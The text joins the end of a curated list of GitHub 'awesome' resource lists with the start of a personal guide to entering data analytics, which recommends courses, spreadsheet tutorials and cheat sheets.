- [Data Science](https://github.com/okulbilisim/awesome-datascience)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning)
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing)
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics)
- [Cryptography](https://github.com/MaciejCzyzewski/retter)
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning) *(Neural networks)*
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision)
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata)
- [Public Datasets](https://github.com/caesar0301/awesome-public-datasets)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop)
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering)
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks)
- [Algorithms](https://github.com/tayllan/awesome-algorithms)
- [Algorithm Visualizations](https://github.com/enjalot/algovis)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization)
## Books
- [Free Programming Books](https://github.com/vhf/free-programming-books)
- [Free Software Testing Books](https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md)
- [GoBooks](https://github.com/dariubs/GoBooks)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks)
- [Vim](http://vimawesome.com)
- [Emacs](https://github.com/emacs-tw/awesome-emacs)
- [Atom](https://github.com/mehcode/awesome-atom)
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools)
- [Game Talks](https://github.com/hzoo/awesome-gametalks)
- [Godot](https://github.com/Calinou/awesome-godot) *(Game engine)*
- [Open Source Games](https://github.com/leereilly/games)
## Developer Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins)
- [Dev Env](https://github.com/jondot/awesome-devenv)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles)
- [Shell](https://github.com/alebcay/awesome-shell)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins)
- [Browser Extensions for GitHub](https://github.com/stefanbuck/awesome-browser-extensions-for-github)
- [Git Cheat Sheet](https://github.com/arslanbilal/git-cheat-sheet)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi) *(Scifi)*
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy)
- [Podcasts](https://github.com/cv/awesome-geek-podcasts)
- [Email Newsletters](https://github.com/vredniy/awesome-newsletters)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb)
## Resources
- [Creative Commons Media](https://github.com/shime/creative-commons-media)
- [Images](https://github.com/heyalexej/awesome-images)
- [Fonts](https://github.com/brabadu/awesome-fonts)
- [Codeface](https://github.com/chrissimpkins/codeface) *(Text editor fonts)*
## Learn
- [CLI Workshoppers/Adventures](https://github.com/therebelrobot/awesome-workshopper)
- [Learn to Program](https://github.com/karlhorky/learn-to-program)
- [Speaking](https://github.com/matteofigus/awesome-speaking)
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec)
- [Security](https://github.com/sbilly/awesome-security)
- [CTF](https://github.com/apsdehal/awesome-ctf)
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis)
- [Android Security](https://github.com/ashishb/android-security-awesome)
- [Hacking](https://github.com/carpedm20/awesome-hacking)
- [Honeypots](https://github.com/paralax/awesome-honeypots)
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json)
- [Discounts for Student Developers](https://github.com/najela/discount-for-student-dev)
- [Slack](https://github.com/matiassingers/awesome-slack)
- [Conferences](https://github.com/RichardLitt/awesome-conferences)
- [GeoJSON](https://github.com/tmcw/awesome-geojson)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin)
- [Radio](https://github.com/kyleterry/awesome-radio)
- [Awesome](https://github.com/sindresorhus/awesome)
- [Analytics](https://github.com/onurakpolat/awesome-analytics)
- [FOSS for Developers](https://github.com/httpsGithubParty/FOSS-for-Dev)
- [GitHub Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet)
- [Open Companies](https://github.com/waldyrious/awesome-open-company)
- [REST](https://github.com/marmelab/awesome-rest)
- [Selenium](https://github.com/christian-bromann/awesome-selenium)
- [Endangered Languages](https://github.com/RichardLitt/endangered-languages)
- [Slack Communities](https://github.com/filipelinhares/awesome-slack)
- [Continuous Delivery](https://github.com/itech001/ciandcd)
- [Services Engineering](https://github.com/mmcgrana/services-engineering)
- [Free for Developers](https://github.com/ripienaar/free-for-dev)
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin/)
- [Answers](https://github.com/jugoncalves/awesome-answers) *(Stack Overflow, Quora, etc)*
- [Sketch](https://github.com/diessica/awesome-sketch) *(OS X app)*
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup)
- [Maintainance Modules](https://github.com/maxogden/maintenance-modules) *(for npm packages)*
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job)
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates)
- [Mad Science Modules](https://github.com/feross/mad-science-modules)
- [Readme](https://github.com/matiassingers/awesome-readme)
- [Tools](https://github.com/cjbarber/ToolsOfTheTrade)
- [Styleguides](https://github.com/RichardLitt/awesome-styleguides)
- [Blogs](https://github.com/aleksandar-todorovic/awesome-blogs)
- [Design and Development Guides](https://github.com/NARKOZ/guides)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted)
- [FOSS Production Apps](https://github.com/jwaterfaucett/awesome-foss-apps)
- [Gulp](https://github.com/alferov/awesome-gulp)
- [AMA](https://github.com/sindresorhus/amas) *(Ask Me Anything)*
- [AMA-answers](https://github.com/stoeffel/awesome-ama-answers)
- [GIF](https://github.com/Syskaw/awesome-gif)
- [Open Source Photography](https://github.com/Syskaw/awesome-OpenSourcePhotography/)
- [OpenGL](https://github.com/eug/awesome-opengl)
- [JavaScript Standard Style](https://github.com/feross/awesome-standard)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity)
- [GraphQL](https://github.com/chentsulin/awesome-graphql)
## License
[](http://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Sindre Sorhus](http://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.
|
# Breaking-into-tech-as-a-data-professional
So, you want to break into tech as a data professional, but you don't want to break the bank? I have collected all of the links, resources, and suggestions I have received on my journey of breaking into the field (starting from being a complete beginner!) and I am sharing all of them with you now.
If you would like to see me document my entire journey from start to present, check out my Tik Tok @Anniesanalytics, my [LinkedIn](https://www.linkedin.com/in/annie-nelson-analyst/), and [My Website](https://anniesanalytics.wixsite.com/annie-nelson) where you can find my entire portfolio. I also have [a blog](https://anniesanalytics.wixsite.com/annie-nelson/blog) on my website, where I have gone more into detail about various topics along the way. If you would like to see the post that specifically contains the Roadmap I followed to become a data analyst/Tableau consultant- [here it is!](https://anniesanalytics.wixsite.com/annie-nelson/blog)
## What path should I take?
This is a complicated question, with no easy answer. Everyone's situation is different, and I cannot tell you what is going to work for you.
<br><br>
First, you should make sure that you are actually interested in data- there are many non-coding niches within tech, make sure you pick the one that resonates most with you.
[Here](https://www.forbes.com/sites/laurencebradford/2017/03/07/16-tech-careers-you-can-land-no-coding-required/?sh=41ff542926af) are [some articles](https://meratas.com/blog/well-paying-tech-careers-that-dont-involve-coding/) that explore your options.
<br><br>
It is also worth your time to explore the [difference between data science, and data analytics](https://medium.com/@springboard_ind/data-science-vs-data-analytics-how-to-decide-which-one-is-right-for-you-41e7bdec080e).
## How to get started
As someone who is still fairly new to this, I understand completely how overwhelming it can be to try and get into this whole "data analytics" thing. There are so many options out there. Everyone talks about how you can learn all of these concepts for free online... but that leaves a lot of questions unanswered. Which topics? Where do I find these free resources? Will I be able to get a job without an official degree?
<br> <br>
I do not have the answers to all of these questions. But- as of writing this I have 14,000 Tik Tok followers. I am in numerous LinkedIn groups. I have been collecting a lot of data points on the advice I have heard everyone giving, and here is what I learned: If you want to break into data analytics, you *must* know how to work with spreadsheets at a high level, learn SQL (sometimes pronounced sequel), and know how to create visualizations (Tableau is the most common way to do this). After reading about 100 job descriptions, you should also probably learn Python- but you should start with spreadsheets and SQL and build up from there. Everything else that I talk about in this guide will be optional, and depending on which direction you go in the field some will be more important than others.
<br><br> As for the getting a job without a degree question- I have been over this with hundreds of people at this point. The general consensus is that if you do a good job building your portfolio, have a good resume, and network, you can get a job without a degree. There are many people in the field whose highest "education level" is high school. That being said, obviously having a tech degree would be helpful. Additionally, if you do have a degree in another field, especially one such as a masters degree, it will probably help give you a competitive edge because it shows you have the capacity to learn. Your first job is just that- your first job! You can still break into the industry and build your way up from there.
<br><br> In addition, I would like to let you know that if you are just starting out on this journey of switching careers and jumping into data analytics/science and feeling overwhelmed- you are not alone! There are a lot of us in the same position right now. Please feel free to join the [Discord Server](https://discord.gg/CwCda5ruN6) I have created. I had never heard of Discord before a few months ago- so do not worry if you haven't. It is basically just another type of social media- but you get into communities focused around one subject. In our Discord (I moderate it with several others who are actually data pros) we have multiple channels on all sorts of different topics. You could ask a question about pretty much any corner of data analytics and have your question answered by someone who is actually in the field within a few days! It is an amazing resource and community, and I am so glad my followers asked me to make it!
## Table of Contents
In this guide, I will go over the following topics. If you want to skip ahead to a specific one, click on it and you will be brought there! (Neat trick I learned)
* [Courses- Free and Paid](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#courses--free-and-paid-ok_hand)
* [Spreadsheets](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#spreadsheets-floppy_disk)
* [SQL](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#sql-mag_right)
* [Tableau](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#tableaudata-visualization-chart_with_upwards_trend)
* [Python](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#python-snake)
* [R](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#r-abc)
* [General Cheatsheets](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#general-cheatsheets-for-data-analyticsscience)
* [Resources For Building a Portfolio and Job Searching](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#resources-for-building-a-portfolio-and-job-searching-moneybag)
* [Where to Find Data to Practice With](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#where-to-find-data-to-practice-with)
* [Internet Resources for Learning More about Data and Being a Data Professional](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#internet-resources-for-learning-more-about-data-and-being-a-data-professional-computer)
* [Books about Working With Data](https://github.com/AnniesAnalytics/Breaking-into-tech-as-a-data-professional/blob/main/README.md#books-about-working-with-data-closed_book)
# Courses- Free and Paid :ok_hand:
Coming out of another field to try and break into tech is overwhelming. I am glad that I started with the Google Certificates course in Data Analytics, because it gave me a great foundation for starting out. Before you get started, you need to ask yourself honestly "what are my learning needs?". If you are someone who needs someone else to be giving you deadlines and keeping you on track, then a self-paced course may not be your best option. If you need to be able to talk to professors and work your way through questions, then one of the free/cheaper online courses where you work through a series of modules may not be your best option. If you, like me, are a self-directed learner who prefers to teach yourself and enjoys troubleshooting on your own, then the cheaper/free resources will be a good fit. Of course, your budget is important as well!
## Free Courses :heart_eyes:
### Course Platforms
I was surprised to find out how many free courses there are out there. Here is a list of some of the platforms where you can find numerous free courses: <br><br>
[Free Code Camp](https://www.freecodecamp.org/): Their homepage has an impressive intro: "Learn to code — for free.
Build projects. Earn certifications.... Since 2014, more than 40,000 freeCodeCamp.org graduates have gotten jobs at tech companies including (then they show the logos of Google, Microsoft, Spotify, and Amazon)"
<br>[Free Courses From Harvard](https://discover.edx.org/xgs/cs50?g_acctid=724-505-4034&g_campaign=gs-b2c-nonbrand-us-can-partner-harvard-core&g_campaignid=14747888370&g_adgroupid=131268844967&g_adid=561845958166&g_keyword=harvard%20cs50&g_keywordid=kwd-334019831226&g_network=g&utm_source=google&utm_campaign=gs-b2c-nonbrand-us-can-partner-harvard-core&utm_medium=cpc&utm_term=harvard%20cs50&hsa_acc=7245054034&hsa_cam=14747888370&hsa_grp=131268844967&hsa_ad=561845958166&hsa_src=g&hsa_tgt=kwd-334019831226&hsa_kw=harvard%20cs50&hsa_mt=e&hsa_net=adwords&hsa_ver=3&gclid=Cj0KCQiA95aRBhCsARIsAC2xvfyqS0y_bBoX4krUzdBh8WIXwz2rMccMG8jsrwhUwgBsid6Jl0UZvIUaAgD_EALw_wcB):
<br>[EdX](https://www.edx.org/search?q=SQL): They have several different courses, whichever flavor floats your boat. I am really interested in taking their computer science course, but I have not decided about it yet.
<br>[Khan Academy](https://www.khanacademy.org/computing): I hear often in the comment sections of my videos from people who are taking Khan Academy courses and learning a lot from them.
<br>[Coursera](https://www.edx.org/search?q=SQL): Coursera is not free, but if you apply for financial aid, give a good reason, and wait a few weeks, you can get it free.
<br>[COOP Careers](https://coopcareers.org/faq): Wait, a FREE Bootcamp? Yep! If you are from a minority group, live in a few key regions, and meet the other requirements, you can apply for this free bootcamp that will help you break into tech- learn the skills you need (technical and interpersonal)- to land a new job.
<br>
### Free Courses :free:
<br>EdX [excel courses](https://www.edx.org/learn/excel): Do you want to learn Excel, especially because I am saying it is definitely the most foundational skill and the one you should start with? They've got you.
<br>[AP Statistics](https://www.khanacademy.org/math/get-ready-for-ap-statistics) from Khan Academy: I personally have not encountered a need for math so far on my journey to get into data analytics but people have told me that they took Khan Academy math courses and it was helpful? I think they might be in a related niche like computer science or software engineering or something but I do not know.
<br>[Welcome to SQL](https://www.khanacademy.org/computing/computer-programming/sql/sql-basics/v/welcome-to-sql) with Khan Academy:
<br>[Learn Python](https://docs.google.com/document/d/1QeZE92qQMW8QP6EH08DnEP5rcHwBowXwhqtALgDKPBw/edit) with Zero2Sudo:
<br>[Introduction to Python](https://www.datacamp.com/courses/intro-to-python-for-data-science?utm_source=adwords_ppc&utm_medium=cpc&utm_campaignid=15913728168&utm_adgroupid=134009293124&utm_device=c&utm_keyword=dataquest&utm_matchtype=p&utm_network=g&utm_adpostion=&utm_creative=585907460107&utm_targetid=kwd-298518207486&utm_loc_interest_ms=&utm_loc_physical_ms=9003619&gclid=Cj0KCQiA95aRBhCsARIsAC2xvfzdHfN-JilN1R0wQTGOz2VGnQ_LObX4Ox1R7FWnoIxp_cQRfQsY1WUaAkrwEALw_wcB) with Datacamp: Datacamp is not free, but as of writing this, this course is.
<br>[SQL for Datascience](https://www.edx.org/course/sql-for-data-science?index=product&queryID=66c46048231a4f800d043b854ad2b100&position=2): with EdX
<br>[Practice SQL with SQL Server](https://sqlpal.thinkific.com/): This is a free course made by one of the girls in my Tik Tok network- Kenzie @Sql.pal
<br> [This Twitter user](https://twitter.com/PythonWithRune/status/1504533216211910657?s=20&t=8JGndziqNpXuDPzibcrqlQ) made a post about free courses for breaking into data science.
<br><br> [Elements of AI](https://www.elementsofai.com/): ok, so this is not a beginner course. Do not start here. But it's free, so it's going in.
### Tutorials
There are probably thousands of tutorials on the internet (for free). I have not looked at all of them. However, these few were suggested to me by people who tried and liked them, and they seem like they would be helpful for beginners. If you watch one, remember to give their video a like! Will take you a millisecond- but you actually contribute to their popularity and help them get paid by engaging positively like that. It is a little gift I try to give to every creator whose content I enjoy.
<br>[Learn SQL for beginners - Complete course](https://www.youtube.com/watch?v=rxr0s7RmJcs): The title pretty much says it all. Might be a good one to pan through if maybe you want to get a peek into SQL and then decide if you want to jump in more? It is by user Kudvenkat
<br> [SQL Tutorial- Full database course for beginners](https://youtu.be/HXV3zeQKqGY):
<br> [Python for Everyone](https://www.youtube.com/watch?v=8DvywoWv6fI): Chuck Severance
<br> [Alex the Analyst](https://www.youtube.com/c/AlexTheAnalyst/playlists) has a lot of tutorials on his page about getting into data.
## Paid Courses
I am not going to give you a list of all of the programs and bootcamps out there. There are a TON of options for people who want the structure and support of a degree or bootcamp- but those cost tens of thousands of dollars and you'll have to do your own research if that is your path. This, is a list of the paid courses and platforms which I have come across. They still generally fit the theme of teaching yourself to break into tech. Most are under $100, but a few that seemed interesting or extra to helpful to me have made it onto the list as well.
### Course platforms
[Coursera](https://www.coursera.org/): there are a ton of great courses on Coursera about breaking into tech, and for a lot of them you get a certificate and badge at the end. I was very impressed with the course I took on this platform. The subscription is $50/month. They offer a free trial- which was helpful to me when deciding if I wanted to jump into this or not! As mentioned before, you can apply for financial aid and get a course for free (people comment on my videos often that they applied and got accepted a few weeks later no problem).
<br> [Dataquest](https://www.dataquest.io/new-home/?utm_source=google&utm_medium=cpc&utm_campaign=brand&utm_content&matchtype=p&device=c&campaignid=6638781067&adgroupid=78995250396&adid=507258932792&gclid=Cj0KCQiA95aRBhCsARIsAC2xvfxSCfjNFqIJnxZBqQgdWL_Rl3OtQSTAQikzAGHj6BHVcOCE5ieAsNMaAjkSEALw_wcB): This is another subscription platform for taking data science courses, specifically. Their subscription is $50/month.
<br> [Datacamp](https://www.datacamp.com/): has a ton of different courses on various topics within the data sphere. It seems like the normal price is $300/year for over 350 courses- but I see it is on sale right now for $139
<br> [Udemy](https://www.udemy.com/courses/search/?src=ukw&q=data): On the Udemy platform, you can take a lot of interesting courses about breaking into tech within the data analytics sphere. You can choose to pay for a subscription, or buy individual courses. It seems like the subscription to their top courses is $30/month. Individual courses seem to be around $90, but if you get them on sale they can be about $15 and you have lifetime access (not a subscription). I actually bought two of their courses on a sale, and I am saving them for when I am ready.
<br> [LinkedIn learning](https://www.linkedin.com/learning/subscription/topics?src=go-pa&veh=sem_src.go-pa_c.LLS-C_NAMER_US_T1_EN-US_SEM_SEM_GoogleAds_NA_All_NA_NA_Core_NA_LIL-General-MKAG_Brand_Exact_pkw.linkedinlearning_pmt.e_pcrid.484112882068_pdv.c_plc._trgid.aud-1144395403900:kwd-312799004820_net.g_learning&trk=sem_src.go-pa_c.LLS-C_NAMER_US_T1_EN-US_SEM_SEM_GoogleAds_NA_All_NA_NA_Core_NA_LIL-General-MKAG_Brand_Exact_pkw.linkedinlearning_pmt.e_pcrid.484112882068_pdv.c_plc._trgid.aud-1144395403900:kwd-312799004820_net.g_learning&mcid=6841886150127296674&cname=LLS-C_NAMER_US_T1_EN-US_SEM_SEM_GoogleAds_NA_All_NA_NA_Core_NA_LIL-General-MKAG_Brand_Exact&camid=11768088402&asid=119694082732&targetid=aud-1144395403900:kwd-312799004820&crid=484112882068&placement=&dev=c&ends=1&gclid=Cj0KCQiAmpyRBhC-ARIsABs2EArBZwqDU6FvfH6WERemvi6rjUVI97RcG1GThyttsWSe-WojqJgRC7oaAtPbEALw_wcB&gclsrc=aw.ds): You can build your skills with various training courses on LinkedIn Learning. The cool thing about this is that these can be easily shared right on your LinkedIn and it can lead to skill badges, I think. I have not done any yet. It looks to me like it is a subscription where the first 30 days are free, then it is $40/month. However, get connected with people on LinkedIn! I see links to take courses for free all the time.
<br> [Cloud Skills Boost With Google](https://www.cloudskillsboost.google/): This is a series of courses you can take for cloud skills specifically. Probably not the best place to start as a beginner, but good to know about. The first 30 days are free.
<br><br> **Courses**
<br> [Google Data Analytics Certificate](https://www.coursera.org/professional-certificates/google-data-analytics?utm_source=google&utm_medium=institutions&utm_campaign=gwgsite&_ga=2.220124505.1774160224.1646759344-632836386.1643306114): This course is what I started with- it started this entire journey of breaking into tech for me. The first 7 days are free. I could have sworn I only paid $40/ month after that but when I looked at a Coursera subscription last night it said $50/month. Either way- this is a self paced course. It took me a month + a few of those 7 free days from the trial, so I only paid for one month. I absolutely loved this course- I thought it was a great introduction to the basics. It did not cover Python, is the only drawback. I feel like it gave me such good foundational knowledge on spreadsheets, SQL, Tableau, and R- and in addition, some concepts that are important to know as a data analyst, such as presentation skills. The course is designed so well- a great balance of readings, videos, and hands on learning activities and quizzes. When you finish you get a badge for LinkedIn, and access to a jobs platform. These jobs seem to be very basic- like mostly using spreadsheets and maybe some SQL. You also get connected with a huge community of people who also took this course.
<br> [Maven Analytics](https://www.mavenanalytics.io/): Maven is a course platform that I have recently discovered, and I love them. They are a subscription for $39/month and it comes with a lot of very specific learn data analytics courses by people who have been helping people get into data analytics for many years. I Have tried a few of their courses- The into to Tableau Desktop course - this one I started when I was interviewing for a Tableau heavy position and realized I really needed to level up my skills before the second interview, because I did not feel like learning on my own was cutting it. The second one I will talk about later in this guide, but it is about Launching your Data Career. I love it, because all of that middle stuff between learning the skills and getting a job is HARD.
<br> [Data With Danny](https://www.datawithdanny.com/): This is like a hybrid course/apprenticeship- "Learn Data Analytics, Data Science & Machine Learning under guided mentorship and deliver challenging projects in a unique data apprenticeship". I don't know much about it, but it might be that hands on chat with your instructor type thing people are looking for. It is $50, but there is also a $20 student discount.
<br> [100 Days of Code: The Complete Python Pro Bootcamp for 2022](https://www.udemy.com/course/100-days-of-code/): This is a Udemy course I have had recomended to me multiple times! Since I took the Google DA course, it did not cover Python. So I was looking for another course on Python. I actually bought this (impulse buy) because it was on sale for $15 last night. That's like one drink at a fancy bar. So I'll let you know when I take it what I think! Normally it's like $90.: Update! I have begun this course and I *love* it! However, I do not think it is the most relevant course for an entry level data analyst. I plan to finish it in the future, but I put it on the shelf for now. Learning Python has helped me with SQL a lot though!
<br>[Microsoft Certified: Data Analyst Associate with Power BI](https://www.udemy.com/course/exam-da-100-a-complete-guide-on-acing-the-exam-with-powerbi/learn/lecture/19899638?start=0#overview): I have heard a lot about power BI, so I also impulse bought this one for like $12 last night. I am interested in the fact that it says that you get a certificate that you can put on your LinkedIn when it is finished. I do not actually know what Power BI is yet... but it seems like something that is gaining popularity in the analytics space and could really help to know.
<br>[2022 Complete Python Bootcamp From Zero to Hero in Python](https://www.udemy.com/course/complete-python-bootcamp/): This seems like a more all encompassing option that the other Udemy courses: "Learn Python like a Professional Start from the basics and go all the way to creating your own applications and games". It is $140, or $25 on sale.
<br>[Python for Web Apps and Data](https://skillcrush.com/blueprint/python-web-apps-data-course/): This strikes me as a good course for someone who wants to learn Python, and already knows SQL and stuff- and knows which areas of data they are looking to get into and really want to be job ready by the end. It is $550
<br>[Professional Certificate in Data Analyst](https://www.edx.org/professional-certificate/ibm-data-analyst?index=product&queryID=dbf58cc7138ff2d187a974935760cc09&position=1): Ok, so this course is pretty expensive for this list. But, it seems like it is not only very comprehensive, but it is also an IBM course and I feel like it would look really great on a resume. This strikes me as more like a Bootcamp- like I feel like by the end of this you should be job ready for an entry level job.
<br>[Programming for Everybody (Getting Started with Python)](https://www.coursera.org/learn/python): This course by the U of Michigan has been suggested to me numerous times for learning Python. It is on Coursera- so that $50/mo subscription will cover the whole course.
# Up Next
The rest of what I have to share in here is for those of us who are taking a "do it myself" approach. These are all of the links that I have been directed to in my courses, by other people, or found myself that I think are worth sharing.
# Spreadsheets :floppy_disk:
Spreadsheets seem to me to be the foundation of working with data. So imagine a big old START HERE sign on this section.
<br> Do you need to just make sure you have the foundational skills, and want to learn the basics of working with Google Sheets? Here you go.
* [Top 10 ways to clean your data ](https://support.google.com/a/users/answer/9604139?hl=en#zippy= )
* [Top 20 Sheets Functions ](https://automate.io/blog/google-spreadsheet-formulas/)
* [Sort and filter data](https://support.google.com/docs/answer/3540681?co=GENIE.Platform%3DDesktop&hl=en )
* [Edit and format a spreadsheet ](https://support.google.com/docs/answer/46973?co=GENIE.Platform%3DDesktop&hl=en&oco=0)
<br> How about the basics in Excel? Girl I got you:
* [Excel Quickstarts](https://support.microsoft.com/en-us/office/create-a-workbook-in-excel-94b00f50-5896-479c-b0c5-ff74603b35a3)
* [Video Trainings](https://support.microsoft.com/en-us/office/excel-video-training-9bc05390-e94c-46af-a5b3-d7c22f6990bb?wt.mc_id=otc_home)
* [Format a worksheet Quickstart guide](https://support.microsoft.com/en-us/office/quick-start-format-a-worksheet-d70f75a2-23e6-4c92-83d6-2f219e4ad42e )
* [Guidelines for Organizing Data](https://support.microsoft.com/en-us/office/guidelines-for-organizing-and-formatting-data-on-a-worksheet-90895cad-6c85-4e02-90d3-8798660166e3)
* [Top 10 ways to clean your data](https://support.microsoft.com/en-us/office/top-ten-ways-to-clean-your-data-2844b620-677c-47a7-ac3e-c2e157d1db19)
<br> If you want to link a lot of concepts together and have someone *show* you how to do them, maybe a training is right for you:
* [This is a video training of excel basics](https://support.microsoft.com/en-us/office/excel-video-training-9bc05390-e94c-46af-a5b3-d7c22f6990bb )
* [Google sheets training and help, for beginner, intermediate, or advanced users](https://support.google.com/a/users/answer/9282959?visit_id=637361702049227170-1815413770&rd=1 )
* [Excel for Analytics Playlist](https://www.youtube.com/playlist?list=PL_WHfGYyPRuOWqablvZAw3iJHUoIGk7F3): This playlist was put together by someone who has worked in the analytics industry for years. He is always happy to help people who are new. This series he takes on what he calls "a fairly realistic request".
## Spreadsheet Cheat Sheets
Who *doesn't* love a good cheat sheet? I found quite a few:
* [Google sheets cheat sheet ](https://support.google.com/a/users/answer/9300022)
* [Excel keyboard shortcuts ](https://support.microsoft.com/en-us/office/keyboard-shortcuts-in-excel-1798d9d5-842a-42b8-9c99-9b7213f0040f)
* [Google Sheets Keyboard Shortcuts ](https://support.google.com/docs/answer/181110)
* [Comprehensive List of Sheets functions](https://support.google.com/docs/table/25273?hl=en )
* [Tips and tricks for working in sheets](https://www.benlcollins.com/spreadsheets/google-sheets-formulas-techniques/)- these are like hidden secrets that make things so much easier!
## Files for Further Reading
There is some readings that I have found to be so useful, that I saved the entire thing. However, it would be impractical to just paste all of that information into here, and I cannot add a file for you to download. So my workaround is I have added a page on my website where I can have files which you can download. I am going to add each of the following information filled files there, and so just [click this link](https://anniesanalytics.wixsite.com/annie-nelson/general-9) to go to the page where I am going to link to all of the following files.
<br> Go to where I have labeled "#1- Spreadsheets Files" to find these files.
* How to use VLOOKUP in Sheets/Excel
* Data cleaning functions in spreadsheets
* How to access your changelog of your spreadsheet
* Keyboard Shortcuts in Sheets cheatsheet
* Using Pivot Tables
* Common Errors in Spreadsheets and How to Fix Them
* SQL Functions learned in the Google Course (With examples)
### Problem Solving
It is so frustrating to come up with an error in your sheet, especially when you are trying to teach yourself this stuff and there is nobody to help you. There are actually people out there to help you on the internet! But in the meantime, this may help you problem solve:
* [When a formula doesn’t work ](https://www.benlcollins.com/spreadsheets/formula-parse-error/)
* [How to correct a #Value! error](https://support.microsoft.com/en-us/office/how-to-correct-a-value-error-15e1b616-fbf2-4147-9c0b-0a11a20e409e)
### Charts and Graphs
Here are some links about information on how to make and format charts in spreadhsheets:
[Graphs in Google Sheets](https://www.datacamp.com/community/tutorials/graphs-in-spreadsheets): Not only does this resource contain a detailed example of chart creation in spreadsheets, but it also provides you with downloadable sample data you can use to practice. As you have learned throughout this course, practicing these skills helps you learn more about the tools you are using. This example data is a great way to start!
<br><br>[Add and edit a chart or graph in Google Sheets](https://support.google.com/docs/answer/63824): This article includes steps for creating, editing, and changing charts in Google Sheets with how-to videos. It also has a more in-depth guide to editing and customizing your chart after you have created it.
<br><br>[Create a Microsoft Excel chart from start to finish](https://support.microsoft.com/en-us/office/create-a-chart-from-start-to-finish-0baf399e-dd61-4e18-8a73-b3fd5d5680c2): This how-to guide from Microsoft’s support site includes instructions and a video tutorial for adding charts to Excel spreadsheets. This is a useful resource if you are working specifically with Excel spreadsheets. It also links to other useful articles about creating charts in Excel.
<br><br>[Microsoft Excel: Creating and modifying charts](https://guides.lib.umich.edu/c.php?g=283162&p=1886446): This is an explanation of Excel charts with downloadable handouts. This resource is especially useful because it has downloadable content that you can save to reference later when you start creating charts in your own spreadsheets.
### Specific Functions
You may need some more information on how to do these somewhat more complicated functions:
* [Import range (brings in values from another sheet)](https://support.google.com/docs/answer/3093340?hl=en&ref_topic=9199554)
* [Sort data or range in tables excel ](https://support.microsoft.com/en-us/office/sort-data-in-a-range-or-table-62d0b95d-2a90-4610-a6ae-2e545c4a4654)
* [Filter data/range excel](https://support.microsoft.com/en-us/office/filter-data-in-a-range-or-table-01832226-31b5-4568-8806-38c37dcc180e)
* [Import a table from a Webpage](https://martechwithme.com/how-to-import-data-from-website-to-google-sheets/)
<br><br>SUMIFS and COUNTIFS are just two examples of functions with multiple conditions. They help demonstrate how multiple conditions can be built into the basic syntax of a function. But, there are other functions with multiple conditions that you can use in your data analysis. There are a lot of resources available online to help you get started with these other functions:
* [How to use the Excel IFS function](https://exceljet.net/excel-functions/excel-ifs-function): This resource includes an explanation and example of the IFS function in Excel. This is a great reference if you are interested in learning more about IFS. The example is a useful way to understand this function and how it can be used.
* [VLOOKUP in Excel with multiple criteria](https://exceljet.net/formula/vlookup-with-multiple-criteria): Similar to the previous resource, this resource goes into more detail about how to use VLOOKUP with multiple criteria. Being able to apply VLOOKUP with multiple criteria will be a useful skill, so check out this resource for more guidance on how you can start using it on your own spreadsheet data.
* [INDEX and MATCH in Excel with multiple criteria](https://exceljet.net/formula/index-and-match-with-multiple-criteria): This resource explains how to use the INDEX and MATCH functions with multiple criteria. It also includes an example which helps demonstrate how these functions work with multiple criteria and actual data.
